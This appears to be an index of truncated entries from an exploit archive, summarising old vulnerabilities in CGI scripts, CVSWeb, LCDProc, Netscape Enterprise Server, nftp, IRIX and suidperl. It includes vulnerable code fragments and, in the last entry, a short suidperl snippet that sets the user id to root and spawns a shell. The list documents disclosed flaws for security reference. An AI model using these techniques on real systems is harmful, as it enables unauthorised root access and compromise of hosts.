Insecure input validation in ad.cgi

Hi, ad.cgi from "Scripts by Tammie's HUSBAND" contains an insecure input validation vulnerability. Information on ad.cgi is available at: http://www.conservatives.net/atheist/scripts/index.html?ads ----code snippet---- $filename = "$FORM'file'"; $datafile = "$basedir" . "$filename"; ... open INFO...

new.phf.txt

PROBLEM: ... mainint argc, char argv entry entries64; ... forx=0;cl0 != '\0';x++ m=x; getwordentriesx.val,cl,'&'; plustospaceentriesx.val; unescapeurlentriesx.val; getwordentriesx.name,entriesx.val,'='; ... The for' loop does not verify that x is less than 64. The entries' struct being a flat dat...

CVSWeb Developer CVSWeb 1.80 - Insecure Perl 'open' Code Execution

source: https://www.securityfocus.com/bid/1469/info Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open$f...

LCDProc 0.4 - Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/1131/info A vulnerability exists in the server portion of version 0.4 of the LCDProc package. Several remote buffer overflows exist that could allow a remote attacker to corrupt memory and execute arbitrary code. As listed in the Bugtraq posting...

Netscape Enterprise Server 3.6 SP2FastTrack Server 2.0.1 - GET

Netscape Enterprise Server 3.6 SP2FastTrack Server 2.0.1 - GET source: https://www.securityfocus.com/bid/1024/info A GET request containing over 4080 characters will cause the httpd.exe process to crash within Netscape Enterprise Server 3.6, resulting in a Dr. Watson error. Arbitrary code can be...

nftp-bof.txt

Date: Mon, 16 Nov 1998 18:02:43 -0700 Reply-To: Eric Wanner Sender: Bugtraq List From: Eric Wanner Subject: nftp vulnerability fwd Content-Type:MULTIPART/MIXED; nftp is a shareware ftp program available at ftp://crydee.sai.msu.su/pub/comp/software/asv/nftp/ that is becoming more and more widely...

SGI IRIX 6.2 - SpaceWare

SGI IRIX 6.2 - SpaceWare source: https://www.securityfocus.com/bid/471/info The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing...

suid_perl 5.001 - Command Execution

suidperl 5.001 - Command Execution !/usr/bin/suidperl -U $ENVPATH="/bin:/usr/bin"; $=0;$=0; exec"/bin/bash"; milw0rm.com 1996-06-01...